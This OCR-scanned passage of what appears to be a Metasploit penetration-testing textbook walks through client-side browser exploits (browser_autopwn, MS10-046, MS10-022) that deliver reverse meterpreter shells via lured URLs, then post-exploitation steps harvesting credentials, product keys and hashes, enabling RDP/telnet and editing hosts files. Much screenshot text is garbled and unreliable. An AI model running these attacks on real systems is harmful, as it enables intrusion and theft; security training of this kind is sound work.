the victim machine. Now we can search for exploits for further attacks, which we

already did in the previous chapter.
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Next we will learn to import the report of Nessus in msfconsole. It is as simple as
importing the Nmap report using the same command, which is db_import <report
name with file location>; for example, here we are using db_import /root/
Desktop/Nessus_scan.nessus.

¥ i LT Tt i b sl St ina Helr
E ¢ ! i ] FE]

msf >{db import /root/Desktop/Nessus SCan.nessus

[*] Importing 'Messus WAL (va) ' data

[*] [Importing host 195.153.3.1a3!
[*] Successfully imported /root/Desktop/Nessus scan.nessus

msf > ]

We can see that the report has been successfully imported for host 192.168.0.103, and
now we can check the vulnerabilities for this host by typing in vulns <hostname>;
for example, here we are using vulns 192.168.0.103.

' 5.0 1
[=] Time: 2613-02-13 03:07:37 UTC Wuln: host=1921.168.0.103 namesexplolitfwindoe
apid? . condvulndb/lookup/doe rpt -85 - Rretand -netpathcanonicalize-dos
*] Time: 2013-02-36 106:31:42 UTC Yuln: bost=192.1688.0.1083 namesMessus Scam I
] Timg: 20L3-02-26 16:31:42 UTC Wuln: host=192, 168.6, 103 nase=Authenticatio

[*]

[=] Time: 2613-02-26 18:31:42 UTC Wulm: host=192,168.0.103 port=443 proto=tlcp
[=] Time: 3013-02-26 16:31:43 UTC wuln: Rost=1592,168.6,103 port=443 proto=tep
125) [rempote check) refs=CVE-2A11-G68)1, BTD-47108, OSVOE-TI78], TAVA-200 1 - &- 0450
[=] Time: 2003-02-26 L0:31:43 UTC vuln: Post=192,108.0.103 port=445 proto=tip
IS0, BID-B026E, OSVDRE- 299 NS5 42411

Now we can see the vulnerabilities of the victim machine; according to these
vulnerabilities, we can search for exploits, payloads, and auxiliary modules for
performing further attacks.
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Summary

In this chapter we have covered the various techniques for gathering information
against a victim using the modules of Metasploit. We covered some freely available
tools along with some auxiliary scanners. Using some of the auxiliary scanners we
were actually able to fingerprint a particular running service. Through Nmap we
learned to perform a network scan for live systems, firewall protected systems, and
the various other scanning techniques which can be used in different scenarios. We
saw that Nessus is a very big tool, which can be used for vulnerability assessment

of a victim machine. We also learned to import Nmap and Nessus reports into
Metasploit. With this chapter, we are already one step ahead in exploiting our victim,
and will move on to covering client-side exploitation in the next chapter.
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* http://www._.mustbegeek.com/security/ethical-hacking/

* http://backtrack-wifu.blogspot.in/2013/01/an-introduction-to-
information-gathering.html

e http://www.offensive-security.com/metasploit-unleashed/
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Client-side Exploitation

In the previous chapter we completed the vulnerability-scanning and information-
gathering phase. In this chapter we will discuss various ways in which we may be
able to compromise our victim (client). We will cover various techniques such as
luring a victim to click on a URL or an icon, which ultimately gives us a reverse shell.

What are client-side attacks?

With our hands all dirty with some exploitation basics in the previous chapters, we
now move on to client-side attacks. But to understand client-side attacks, we need
to first have clear concepts about the client-server architecture, and differentiate the
attacks between the two components. The server is the main computer that shares
its resources over the network, and clients —which are other computers on the
network —use these resources. There is always a negative aspect to every story. So,
as the server provides services to a client, it may also expose vulnerabilities that may
be exploited. Now, when an attacker attacks a server, he may be able to do a denial-
of-service attack on the server, which will ultimately crash all its services. This,
specifically talking, is a server-side attack, because we have actually tried to attack
the server and not any of the clients.

A client-side attack is restricted to a client and targets vulnerable services and
programs that may be running on that particular machine. These days, the trend

is changing and is more focused on client-side rather than server-side attacks.
According to a general trend, the server is usually locked down with minimal
services and restricted access. This makes it very difficult to attack servers and hence
the black hats get enticed towards the vulnerable clients. There is a large array of
attacks that may be launched against the clients, such as browser-based attacks and
vulnerable service exploitation. Also, the client operating systems have multiple
applications such as a PDF Reader, document reader, and instant messenger. These
are often not updated or patched for security vulnerabilities, since they are left
ignored as a security misconfiguration. Hence, it is extremely easy to launch an
exploit against such vulnerable systems using simple social engineering techniques.
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Browser exploits

Browser vulnerabilities have been known for a very long time. The framework and
extensions are also at times the reason for exploitation. We have had recent news

of the compromise of some of the latest versions of browsers such as Chromium,
Internet Explorer, and Mozilla. The malicious code may exploit any form of ActiveX,
Java, and Flash, which are in-built in the browser to enhance the user experience.
Victims who have been affected by such exploits may find their homepage, search
page, favorites, and bookmarks changed. There may be incidents where the settings
or Internet options could be altered to decrease the level of browser security, and
hence make the malwares more prevalent.

Tutorial

In the tutorial section, we will show you a couple of exploits that run through the
victim browser.

The first exploit that we will be showing is known as browser autopwn. First open
up your terminal and launch msfconsole. Now type in use auxiliary/server/
browser autopwn.

use auxiliary/server/browser autopwn
suxiliary(browser autopwn) s
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Then type in show options to see in detail all the options that we have to set in
the exploit.

Faaule eprians (auad] e ry/semwer fhrowser mrr.p.nl-

Led

et Eumalisrylure

i Lo b

hars furrert ‘et"'mg Pescri p"'m

FEET L Thae “‘ q‘.ll‘“ﬂ"ﬁ"‘ T use far reverse
={onrect F!'fl#!#!

ERYECET €.0.C.8 Yes The .oca. host 1o Listen on. This
Pusl L & address o Lhe Loca. machine i 9.0.0.0

CRYPERT FEEE e The “afn parT T 115TeN on

L false 1] HegotiaTe 950 Tor inconing Connec
ticrmE

L5LCerl 1 1] Pah .o a4 tuslom S50 cet | LM cale
(actaulr 15 sanaerly gercrasod)

2k MECEICN  RELZ L] Speci®y The version of BBl That 3
lrcule b= vsed {accepted: S5L2. S5L3. TLSL

LRIFNTE ] The URI .o use for Lhis explood i
acfault 15 ranqaE) 2

In the preceding figure, we can see which options are required and which are not in
the Required column. A yes indicates that we have to set the option and no indicates
that the option can be used with its default setting. So the first option required

is LHOST. It requires the I’ address for the reverse connection, so here we set the
attacker's machine IP. To do so, type in set LHOST 192.168.11.23.

msf auxiliary(browser autopwn) »]set LHOST 192.168.11.23
LHOST == 192.168.11.23
msf auxiliary(browser autopwn) > |}
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After setting the LHOST address, the next thing to set is SRVHOST. SRVHOST means
the server localhost address. We set our local machine address by typing in set
SRVHOST 192.168.11.23.

msf auxiliary(browser_autopwn) =|set SAVHOST 192.168.11.23
SEVHOST == 192.168.11.23
msf auxiliary(browser_autepwn) > ]

Now, to set the SRVPORT, which means the local port address, we type in set
SRVPORT 80.

File Edit WView Bookmarks Settings Help
msf auxiliary{browser autopwn) > set SRVPORT 86

SRVPORT == 80
msf auxiliary(browser autopwn) > []

E

root : .ruby.bin

il  auxiliary(browser
[*] Auxiliary msodule sxecution completed

i*] Setup
[*] obfuscating initial javascript 2013-03-86 13:86:16 +0538
jesf amciliary(browser sutopwn): =

i*] Done in 3.137441761 seconds

[* ||St.a.rt1n-g explolt modules on host 192, 168.11.23.. |

[*] Starting explort multy/browser/firefon escape retval with payload gener
fshell reverse top
(%] Using URL: hitp:/f192.168.11.2%3:88/TyrgdlIrdHVPU
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After running the auxiliary module, we can see that it starts the exploit modules on
the localhost. Also, it provides a malicious URL, which we have to give to the victim.
This is a simple social engineering technique in which the user is lured to click on the
malicious URL.

G View  Bockimarks  Satting
[*] Started reverse handler an 192.1
*] Starting the payload handler...
[=] Started reverse handler on 192.168.11.23:7777

[*] starting the payload handler. ..

68.11.23:6666

[*] --- Done, Tound 24 exploit modules

[*] Using URL:|http://192.168.11,23:80/NBuUFNth31}
[*] Server started.
asf auxiliary(browser autopwn) > [}

Now, when the URL opens in the victim's system, it will send a reverse connection to
the attacker's system. Let us see how this works.

-

viee, Frvotes  Tooe =elp

J _x_'] |_..‘;'] 'y 7 sz5h -

1mﬂ1v;.;w.1:.:;ﬂ:ww;|_]
-

Ml b Bl < %) =0 o iR e - (" 1= BTl T I R
i | 3

& vone D Intomct ]
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After running the URL, we can see in msfconsole that the reverse connection has
been established, and the notepad . exe process migrates to 1804.

File Edit WView Bookmarks Settings Help

t 2013-03-06 13:34:02 +0530

[#] Session ID 1 (192.168.11.23:3333 -> 192.168.11.29:
lAutoRunScript 'migrate -f°

[#*] Current server process: IEXPLORE.EXE (1852)

[#] Spawning notepad.exe process to migrate to
Migrating to 1864

Successfully migrated to process

root : .ruby.bin

] L6, BB
nntepad, e Wickim 11] 5, 604 K
ety Bxe Victam [ii] FEET S
Wihoo Tray ece Wickim o 424 K
IEXFLORE.EXE Wickim 0 1] 128,926 K
EXPIOrer EXE Wickim 1] 4,002 K
spoolsy sk SYSTEM 0 588 K
wiauch, 2xs Wictim 1] 136K
ag.eon LCaCAL SERVICE i 1} 176K
taskmpr.axa Wictien o1 152K
svchost s L AL SERVICE i 1,400 K
sychost exe HETWORK SERVICE 00 564 K
swichirt exe SYSTEM i 1] 5,99 K
sychost, exes RETWOREK SERYICE i1} 1,272 K
swehost.exe SYSTEM 1] TEE K
VBoxSarvice, axe SYSTEM i i} 9Te K
kass.exe SYSTEM 0 1] 1,704 K
PTG SYSTFM (1] 1134 K o]

[ | Show processes from all users Ered Process
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To check for the meterpreter session that was created, type in sessions.

mif auxiliary(browser_sutopwn) =|sessions

Active sessions

|1d Type Information |

1 meterpreter xB6/wind2 EXPLOITA-B23691\Yictim @ EXPLOTTA-323531

Now select the meterpreter session for exploiting the victim's system. For selecting
the session, the command to be used is sessions —i <ld>; for example, here we are
using sessions —i 1.

s auxiliary(browser autopwn) > sessions -1 1

mimm

1*] Starting inferaction with 1...

eterpreter > sysinfo|
j Computer : EXPLOITA-823691
oS : Windows: XP (Build 2608, Service Pack 2)

Architecture : xB6
| : en Us

;. XBBSwWin32
meterpreter > |

After selecting a session, we instantly get the meterpreter session. We can then go
for further exploits. For example, in the preceding figure, we can see the sysinfo
command used for checking the system information.
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Internet Explorer shortcut icon exploit

Another browser exploit we are going to demonstrate is of shortcut icons that
contain a malicious DLL. This exploit is a social engineering attack that runs on IE
6 under Windows XP. We just need to lure our victim to click on the link to run the
exploit on his system. Launch msfconsole and type in use windows/browser/
ms10_046_shortcut_icon_dllloader.

psf = |use windows/browser/ms10 846 shortcut icon dllloader
msf eXplOil(ms10_U3G _shortcut_icon _dllloader] = |

Now type in show options to see in detail all the options that we have to set in
the exploit.

msf exploit| der) >

Module optiong [explolit/windows /browser/myld B46 shortcut fcon dilloader):

hare Current Setting Reguired Description

SAVHOST 9.0.0.8 L The Local hast to listen on. This &
SAVPORT @0 yes The daeson port to listen en (do no
SELCert na Path to a custem S50 certificate (d
IRCHDST na The host portlon of Che UNC path to
URIPATH Y The URT Ta use (da not change).
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The first option required is SRVHOST. It requires the IP address for the reverse
connection, so here we set the attacker's machine IP by typing in set SRVHOST
192.168.0.109.

exploitiesld 048 shortout_icon_dllleader) 1-[5:1 SRVHOST 1931.186.6.10%
SRVHOST == 192.168.0.109
msf -exploitimsll 046 shortcut icom dllloader) _-.I

Now set the SRVPORT address, which means the local port address, by typing in
set SRVPORT 80.

File Edit WView Bookmarks Settings Help
msf exploit(msle 846 _shortcut_icon_dllloader) > set SRVPORT 88
SRVPORT == 80
msf exploit{msl@_846_shortcut_icon_dllloader) > []

The next option is to set the URIPATH path to the default setting by typing in
set URIPATH /.

SRVPORT == 88

ns? exploit(msl0_046_shortcut_icon_dllloader) = |set URIPATH /|
URIPATH == [

msf exploit{msl0 046 shortcut_icon_dllloader) = [
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Now all options are set and ready to run the exploit. So type in exploit.

g1 E'IP'I.U:I.t["-lL‘ D26 shortcut lcon dillosger) »

[*] Expleit running as background job.

Started reverse handler eon 192, 168,0. 109: 4444

Send vulnerable clients to \A\192.168.0. 109\Mx]j'.
Or, get clients to save and render the icon of hitp:f/=your hosts/<anything>.lnk

5t exploit{=sio _ods_shortcut_dcon dlllsader) = [}

Now it is up to you to do some clever social engineering. Give the URL to the victim
and just wait for the reverse connection.

File and Folder Tasks

__j Makie & new Foldes

Publish this Folder ta
the Wab

Other Places

W 192.168.0.109
L] My Documents
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Opening the URL in the browser will create a shortcut icon and a DLL file. At that
time, a meterpreter session gets created in msfconsole and our victim has been
compromised. Now let us check for sessions by typing in sessions.

maf exploit{msio_o48_shortcut_icon_dllloader) > [sessions

ACtive sessions

SZZZECz=ISIzTzo=o

Id Type Information
fEction

1 meterpreter xB6/wind2 EXPLOITA-822691%VictTim @ EXPLOITA-823891
168.8, 1004444 -> 192.168_0.108: 100G

matf exploitie

We can see here that a session has been created. Now we select the meterpreter
session for exploiting the victim's system. For selecting the session, the command to
be used is sessions —i <ld>; for example, here we are using sessions —i 1.

fmsf exploit(msle _e46 shortcut_icon dliloader) :-|5essinn5 -1 1|
1*] Starting inteéeraction with 1...

meterpreter > []

After selecting a session, we successfully receive meterpreter; we can then go for
further exploitation of the client system.
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Internet Explorer malicious VBScript code
execution exploit

We have another interesting exploit that is similar to our previous exploit and uses
the same conditions and software versions. This time we are going to show you the
code execution vulnerability that occurs when a victim presses the F1 button after a
message box that is generated by a malicious VBScript on a web page appears.

For using this exploit, launch msfconsole and type in use exploit/windows/
browser/ms10_022_ie_vbscript_winhlp32.

Uiy Honkmark Settings Haole

plodt/windows /brovser/mslo 622 ie vbscript winhlp32
explolt(msld 022 1e ybscript winhlpai] =[]

explolti=s1n inhipid} =

o 1

RN

Shisl opLlons

Module ocptions (exploit/windows/browser/msld @22 ie vbscript winhlp32h:

hare Current Setting HAsquired Descripilon

SHVYHOST 2.0.0.0 yes The local host to 1isTeén on, This &
SRYPORT L yEs The daemon port to Listen on

o false na Hegatiate 550 for incoming cospectl
S5iCert na Path to a custom 550 certificate (d
SSiVersion SSL3 no Specify the wersion of SSL that sho
URIPATH ! yes The URI to use.
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The first option required is SRVHOST. It requires the IP address for the reverse
connection, so we set the attacker's machine IP. For example, here we type in set
SRVHOST 192.168.0.105.

mef exploit{esln 022 i= yhacript hWlpd2] =|ser SEHVMEST 192, 1688, 106K
RYHOST == 192.168.8.105
exploiti z

st exploit{mslo 822
SEVPORT == Ba
mst exploit{msin 022

The next option is to set the URIPATH path to the default setting by typing in set
URIPATH /.

[131]



Client-side Exploitation

Now all the options are set and ready to run the exploit, so type in exploit.

msf exploit{msld 022 ie vhscript winhlp32) >{explolt]
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.105:4444

gf loit (sl 622 je yhecript ahlp32) >
l'1|usinq URL: http://192.168.0.105:80/
1*}) El § x

5f exploitimsle 022 ie vhscript winhlp3z) = I

Next, we just need to use some of our social engineering skills to make our victim
click on the URL. We give the URL to our victim and make him click on it. After
opening the URL in Internet Explorer, it pops up a message box showing a message,
Welcome! Press F1 to dismiss this dialog.

|3 pip:di] 52.168,0,10503C

i o
Qe - O - |x] 18] € s Srrews @) D s E B
Sscires | ) ko192 168.0. L0S/V IOwMMIGRGSLT W E)ee ira ¥

VHScripl: Welcome! E|

Yeimlcoims ! Press F o dearess ths disiog
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After F1 is pressed, the malicious VBScript will run in the browser and send a
payload named calc.exe.

. Open File - Security Warning

The publizher could not be veried. Are pou suie you want to
1un thiz zoftware?

Mame: calc.soe

Publisher Unkmnown Publizher
Type: Apphcation
Fromr 192.168.0.107

> ) (o

@ Thiz e does not have a valid dagital sgnatuie that verfies its

publisher. *ou should onky run softveane from publishers pou tnast
7

After executing the .exe file, it will make a reverse connection to the attacker
machine and create a meterpreter session. Type in sessions for checking the
available sessions.

nsf exploit{ms1d_022_ie_vbscript_winhip3z} >

Wactive sessions

Id Type Information

1 meterpreter xB6/win32 ENPLOIT-Bl1SBODAVIctim @ EXPLOIT-B119860
+> 192.168.0.163:1160

gasf exploit{msie 022 fe vhscript_winhlp32) > l
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We can see here that a session has been created. Now select the meterpreter session
for exploiting the victim's system. For selecting the session, we use the command
sessions —i <ld>; for example, here we are using sessions —i 1.

mst  exploitimsls 622 fe whscript_winhlp3z) = fsessions -1 1

[*] 5tarting interaction with 1...

lzeterpreter = |

After selecting a session, we successfully receive meterpreter; we can then go for
further exploitation of the victim machine.

Summary

In this chapter we successfully demonstrated some of the niche client-side exploits.
These exploits were specifically targeted at the client systems through the browser
or a malicious link, and some social engineering tricks. A golden rule in the security
book is never to click on unknown links, and in our case we were able to get through
the defenses of our victim. This is the best part of Metasploit —the arrays of attack
vectors are so large that if something does not work, another will for sure. So it is

a recommendation to all to avoid clicking on links, running unknown executable
files, and responding to e-mails from malicious people. The next chapter will deal
with some of the techniques on post-exploitation, so stay tuned; we still have a lot of
exploit tricks to be learned.

References

The following are some helpful references that shed further light on some of the
topics covered in this chapter:

e http://blog.botrevolt.com/what-are-client-side-attacks/
e http://en._wikipedia.org/wiki/Browser_exploit
e http://www.securitytube.net/video/2697
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In the previous chapter, we were able to compromise the system and get access to
the meterpreter. Now once we have access to the system, our main focus lies on
extracting as much information as we can from the system, while at the same time
being invisible to the user. This would include information that can be analyzed
offline on the attacker system, such as a Windows registry dump, password hash
dump, screenshots, and audio recordings. In this chapter, we will explain the concept
of post exploitation and its phases in detail. We will further be covering a tutorial on
the various techniques of post exploitation.

What is post exploitation?

As the term suggests, post exploitation basically means the phases of operation once a
victim's system has been compromised by the attacker. The value of the compromised
system is determined by the value of the actual data stored in it and how an attacker
may make use of it for malicious purposes. The concept of post exploitation has

risen from this fact only as to how you can use the victim's compromised system's
information. This phase actually deals with collecting sensitive information,
documenting it, and having an idea of the configuration settings, network interfaces,
and other communication channels. These may be used to maintain persistent access to
the system as per the attacker's needs.
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Phases of post exploitation

The various phases of post exploitation are as follows:

* Understanding the victim

* Privilege escalation

* (Cleaning tracks and staying undetected
* Collecting system information and data
* Setting up backdooring and rootkits

* Pivoting to penetrate internal networks

Tutorial

Up to this point, we know how to exploit a vulnerable system. We can see in the
following screenshot that we already have a meterpreter session running. Now
we are going to start the first phase of post exploitation by gathering as much
information as possible.

[#] Sending stage (752128 bytes) to 192.168.08.188
[*] Meterpreter session 1 opened (192.168.8.105:4

meterpreter = JJ

1. First, we'll check for the system information by executing the sysinfo
command. Type in sysinfo:

le:134:in =main>""
mElerpreter = [sysinfol

; EXPLOIT-BFEZGSD

1 Windows XP (Build 2600, Service Pack 2).
Arthitecture 1 XB6

Systen Language : en US
Meterpreter { xB6 win32
nelErpreler = []
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2. After executing the command, we can see here that the computer name is
EXPLOIT. The operating system that is running on the victim's system is
Windows XP service pack 2 with an x86 architecture. The language being
used is US English. Let us check the process that has the meterpreter attached
to it. For this purpose we use the getpid command, so type in getpid and it
will show the process ID of the meterpreter:

3. The process ID shown by the getpid command is 1008. Now we'll check the
running processes in the victim system's process list, so type the ps command:

Fatar :-E
Process 1idt
PID  Wane Areh  Sesslun  Uner Palh
] | Syites Predeis]
4 Syrtem (e il NT AUTHORITYSYSTEM
M0 wuAucll . esd B0 EXPLORT - ENADYIET IR CWWTHDOWS sy T en N whibuc UL e
08 '|.I|I;|l'.'l'|. Sar olih ] EAPLOIT -BFENN YICTLE 3 UWINDOWS , Syrs T, Lasptn, 407
a0 w4 B s @ T AUTHOA T ST STEN hysteshoot) T lendlsmss . ene
LT} -} CETES . B wBh 1] NT AUTHERITYLYRYSTEM YW ANT DRSS ysTem I Cares , ue
#00  winlogan, eaxs B ® T AUTHOR T VLY ETEN LETVE A WINDOWS, da ten ) win Logon exe
fad BT LCEE . BN Bh ] NT AUTHORITSYETEM CWWINDOWS Y 5 s Cendd pe rvioes SN
B3 Liatd. ee Bh W WT AUTHOR T SYSTEM €1 VWTHDOWS \ Sya Tl | dain . exe
Bl EYEROET . exe 2 ] ] T AUTHOAITYVEYSETEN 1 ANINDOWS \ By s Tea ks E RO ST, B
BER svchostl . exe (+. L] i NT AUTHORIT T METWORE SERVICE ©:\WINDOWS\ sy tendXyywchail . exe
G0 alg.eme L] T _AUTHORITY L LOCAL SERVICE £ A WIHDOWS \ Sy s temal g £us
|1668  swchost .exe kBh @ T AUTHOS T LVEYSTER C: A THODWS  Sys T em 3 pwihost . pue |
THA wicntly.ess Wb 0 T - vic s C R INOOWS Lyt endd Wi Cn L Ty . BNE

We can clearly see that the process 1008 is running as svchost.exe; it resides
under the windows/system32 directory.
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4. Now check whether the victim's system is a virtual machine or not. For this,
type in the run checkvm command:

meterpreter =
[*] Checking LT targel 1s a Virtual Machine
*] This is a Sun VirtualBox Virtual Machine

eterpreter > []

After running the post exploit script it detected that the operating system is
running under the VirtualBox virtual machine.

5. Now let us check whether the victim is active or not. For this, we type
in idletime. Executing this script will show us the recent activity time
of the victim:

peterpreter
User has been ldle Tor: 16 secs
peterpreter >

It is good that the victim is active and that their recent activity is just 16
seconds old.
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6. Check the victim's system environment by running another meterpreter
script by executing the run get_env command:

Imeterpreter »

[*] Getting & Yites and User Variables

[Enwiroment Warlable List

Ipare Value

4

Contpet €2\ WINDOWS, 55 teald) cnd . gxe

FP NO W05T CHECK WO

IMBER OF PROCESSORAS 1

[1. Windows NT

PATHEXT LCOM;  EXE; .BAT: . OWD; .WBS; VBE; . 35;  J5E; WEF; .WSH

PROCESSOR ARCHITECTURE xS0
PROCESSOR IDENTIFIER nE6 Family 6 Model 42 Stepping 7, Genuinelntel
PROCESS0R LEVEL [

PROCESSOR REVISION 207

Path €2 \WINDOWS 5y Tendl ; C o \WINDOWS ;  + \WIRDDES Systend X nhen
TEMA € 1 W NDOwS |, TEMD

TEMP €2y WINDDWS, TEMP

THP C : \WINDOWS', TEMP

™P € Y WINDOWS |, TERP

€2 Y WINDIWS

We can see the system's environment information, such as the number of
processors, operating system, Windows directory path, and more.

7. Now let us check the victim's system IP address by typing the
ipconfig command:

terpreter > ipcontia|

G TCP Loopback interface
ardware MAC: D0 0000 0000 0D
IP Address ¢ 127.0.8.1
listmank { 293.8.0.0

PCMNET Family PCI Ethermet Adapter - Packet Scheduler Minipart
raware MAC: O8:00:27:1d:b4:be
IP Address ¢ 192, 165.0.104
TRash t 235.235.235.0
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8. Here we can see the IP address of the victim's PC; now if we want to see the
full network settings, we'll type in the route command:

terpreter =

twork routes
ENEIEEEEE RN

Subnet Netmask Gateway
0.0.0.0 0.0.9.0 192.168.0.1
137.8.6.0 255.8.0.9 127.8.0.1
192.168.0.9 235.235.235.0 192.168.0.]184
192,168, 6,104 295,255,255, 258  129.6.0.1
192,168, 0.253 255,255,255.255 192.168.0.104

224.0.8.0 248.8.0.8 192.168.08.184
255,255, 255,255 192.108.0.184

Here we can see the network route settings of the victim's system.

9. Another important script that we run for mapping the security configuration
of the victim's system is known as countermeasure. Type in run
getcountermeasure:

meterpreter »[run getcountermeasure|
{*] Rumning Gefcounterseasure on the target...

=] Checking for comiermeasures...

|*F Getting Windows Bullt in Firewall configuration...

[ = bomain profile coenfiguration;

Operational mods = Enable
Exception mode = Enable

l
l
I
]
]
I
] Standard profile configuration (Current):
[ =] R L
]
l
|
I
I
I
l

Operational pode = Disable
Exception moda = Epable

Local Area Connection firewall configuratlion:

Dperational eade » Enabile

[*] Checking DEP Suppart Palicy. .
wierpreter = |J

By running this script, we can see the firewall profile configuration.
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10. Now we are going to enable the victim's Remote Desktop Protocol service.
Type in run getgui; it shows a list of the available options. We can see in
OPTIONS that the —e syntax is used for enabling RDP, so type in the run
getgui —e command:

- Enable RDP only.
-f =opt> Forward ROP Comnectlon.
-h Help menu.
-p =0pt= The Password of the user to add.
-y =gpt= The Username of the user to add.

[*] Windows ReSOTE DESRLOD Lonfiguration Meterpreter Script by Darkoperator

(=] Carlos Perer carlos pererddarkoperator.con
*] Enabling Remote Degktop
[*1 ROP is disabled; enabling it ...

| setting Terminal Services service startup mode
1*] Terninal Services service 15 already et to auts
[ =] Opening port in Local firewall 1f necessary

11. Another common service that we expect to be enabled on the Windows
operating system is the telnet service. The gettelnet script is used for
enabling the telnet service on the compromised machine. So type in run
gettelnet, and it will show a list of the available options. We can notice in
the OPTIONS section that —e is used for enabling the telnet service, so type
in run gettelnet —e:

rver Enablier Melerpreier Scripn
sage: getilelnel +u cusernases -§ pa W

Enabile Telnwg Server only
f owaple  Forsass TolmdD Comfebtiey

L] Help Bty

+p fopi= The Passesrd of Uhe wser to aid,
u snpi> The Unermaee =T the ower to i,

[EELGFRrETEe = [rus gEntElney &
#] Wisedowy TETIEL SETvET Drabler Melerpreler Soripl

") Seiting Telnet Serwer SErviden service st oy sode
o The Telnet Sérver Serviced fervice 11 oot 480 T aato, changlsg 1T To aeto .
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12. Let us have a look at the victim's local subnet by running another script. Type
in the run get_local_subnets command:

seterpreter = frun get local subnets

Local subnet: 192.168.8.8/255,.255,.255.0

eterpreter > []

We can see the local subnet of the victim's system in the preceding screenshot.

13. Another interesting script is hostedit. It allows an attacker to add host
entries in the Windows host file. Type in run hostedit:

meterpreter | s hostsedit]
(This Metérpreter seript 15 for adding entries in to the Windows Hosts file

[Since Windows will chech first the Hosts file instead of the configured DNS Server
it will assist in diverting traffic to the fake entry or entries, Either a single
I::Hltr'p' can be provided or & geries of entriss provided a file with one per line,

|
lOPTIONS :
€ «opi> Host entry An the format of 1P Hostname.

-h Help Options.
-1 =opt> Text file with list of entries in the formal of 1P Hostname. One per line

Example:

run hostsedit -e l.ET.ﬂ.ﬂ‘.l.l;lml!.{lﬂ'l

run hostsedit -1 step/fakednsentries.ix
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14. Upon running this script, we can see the usage syntax of hostedit. Type in

run hostedit —e 127.0.0.1, www.apple.com:

fmeterpreter »| run hostsedit -e 127.6.8.1.www.apple.cos
[*] Making Backup of the hosts Tile.

=] (5586853, back
[*]

15.

Here we can see that the host record has been added to the victim's host file.

For verifying it, we can open the victim's system directory at c:\windows\
system32\drivers\etc\. Here we can find the host's file, and on opening

this file in Notepad, we can see the host that has been added:

E hestz - Molepad
Fila Edi Format Wasw  Help
B copyright (c) 1993-1995 Microsoft corp.

# This 15 a sample wo5TS File used by Microsoft TCR/IP for windc

#

# Thizs file contains the mpp‘ing-ﬁ of IP addresses to host names.
# grtry should ba kept on an ingividual Tine. The 198 address she
# he placed 1n the first column followed the corresponding he
# The IF address and the host name should be saparated by at &

{such as these) may be nserted on indi
machine name denoted by a "#" symbol.

For exa=ple:

102. 54,94, 97 rhing. acme. com # TOUFCE SErVer
38.25.63.10 ¥, AEME, Com # % client host

Tocalhost
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16. Now let us enumerate as to how many users are currently logged in on the
victim's system. For this purpose, we'll type in run enum_logged_on_users.
Using this command shows us a list of available options, and we can see in
OPTIONS that —c is being used for the currently logged-in users. So, type in
run enum_logged_on_users:

gterpreter Script Tor enumerating Current logged wsers and users that

the system.
JORTIONS:
- List 5ID's of currently loged on users.
-h Help menu.
-1 List SID's of users who have loged Im to the host.

er =|run enum logged on users -¢ |

Current Logged Users

EEEEEEEIEEEEEEE

s1D User

§-1-%-18 S¥5 TEM
5-1-5-19 Local Service
5-1-5-20 B B Network Service
|5-1~5-z1-15«;37515-2111&&&55-55&45395-1&&3 victin |

We can see in the preceding screenshot that the user/victim is currently
logged in on the system.

17. After enumerating the users, we then move on to enumerate the applications
installed on the victim's system. So to enumerate the installed applications'
list, we just need to type in run get_application_list and it will show us
all the installed applications:
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BETErpréTer =run geT applicaTlon

Installed Applications

Hane Yersion
Mozilla Firefox 19.8.2 (X886 en-Us] 19
Mozilla Maintenance Service 15.
WinRAR 4.20 (32-bit] 4.20.

paterpreter =

In the preceding screenshot, we can see the list of installed applications.

18. After that, we move on to enumerate the victim's drive information for the
purpose of gathering physical drive information. Type in run windows/
gather/forensics/enum_drives:

er/Torens1Cs/enum arives

Type: Size (bytes):

W ".Fl'l.y'ﬂl:a'lﬂ rived B589934592
<Logical Drives:»>

WAL 8589934592
WD 4T02111234474983745
peterprater = ||

We can see the drive name and size in bytes in the preceding screenshot.
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19. We also see the victim's operating system's product key. This is an amazing
script that may be used by typing run windows/gather/enum_ms_product_
keys; it will reveal the serial key:

eelerprefer »{run windowsfgather/enum =5 product Keys

[=] Finding Microdoft key on EXPLOIT-BFEILSD

| T
Zei3

Product Registersd Owner Registered Organization License Key

Hicrosoft Windows 0@ WVictis Enploit [ Jo2ex K50 7X - Brce - 3POCO- BaBF) |

Using this command, in the preceding screenshot, we can see the product
key of the Windows operating system that is installed on the victim's PC.

20. Now let us check the Windows autologin feature in the victim's system
by running another meterpreter script. Type in run windows/gather/
credentials/windows_autologin:

neterpréeter > |run wWwindows/qgather/credentlals/windows autologin

Running against E:cPLnIT-ﬁFEJGST_wn 1
pefaul tDomain=EXPLOIT-0FE265D, | Defaul tUser=victim J|Defaul tPassword=

AltDomaln=EXFLOIT-BFEZ650, Altlser=viciim, AlTFasswords
| Storing data. ..
[*] Windows Autologin User Credentials saved in: /root/.msfad/loot/2013063262249
neterpreter = Jj :

We can see as in the in the preceding screenshot that the victim's system
username is victim and that the password is blank. He is using his system
without a password.
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21. Now another important script that we are going to run is for enumerating
the system information. This will dump some juicy information, such as
hashes and tokens, from the victim's system by running different utilities and
commands. Type in run winenum:

!
mETErprater = (mun Wwinsnums

[*] Running Windows Local Enumerion Meterpreter Script
I*] MNew session on 192.168.0.104:1035...
1*] Saving general repart to /rootf.msfd/logs/scripts/winenus/EXPLOLIT-OFE2S3D 20130327

l'1|nurnur of #ach individual command 15 gaved 1o /root/.msTd/logs/scripts/winenun]EXP
BCRING 1 L ’ is a Virtual Hﬂ[ﬂll'lt Bk kA daa

UAC 13 Disabled
Running Command List ...

=

I

|

*] FURMLNY COmRAn
=] running command
1 running comsand
1 running command
o | running comsand
| running comsand
1 runfing Commind
ol | running comsand
] running command
1 runining Command
l running comsand
| running comsand

cRd.ExE /¢ SeT
ipconfig fall

arp -a

nat view

ipconfig fdisplaydns
radte |:|r1nt

NETSTAT -nAao

net accounts
netstat -wb

netstat -ns
tasklist /evc

net group aminlistratars

22. After running the script, we notice that a lot of the commands running on
the victim's system and all the reports are being saved in the /root/.msf4/
logs/scripts/winenum/EXPLOIT-OFE265D 20130327 .2532 directory. Now
we can go through this directory and view some of the results:

1~# fod frooty. nsf-1-.flngs.fi..nnti..-'ulr.mm.-'E?:P:.ﬂ-iT OFEZGSD 201363T7.2532
= EETE M LOgs/SCripts winenia EXP - S .
arp a.tut net group administrators, it
cod exe € sel.txt net group. et
EXPLOIT-FE2650 JOI303ET. 2532 . tet nmet localgroap administrators.tot
goresult  SCOPE COMPUTER . txt net localgroup . tut

netstat wb,tut

net wser. txt

net wisd domain, txt
net wimd, TxT

goresult SCOPE SER 2.tut
hashdusp, Eit

ipconfig all,tat

ipcontig displaydns. txt
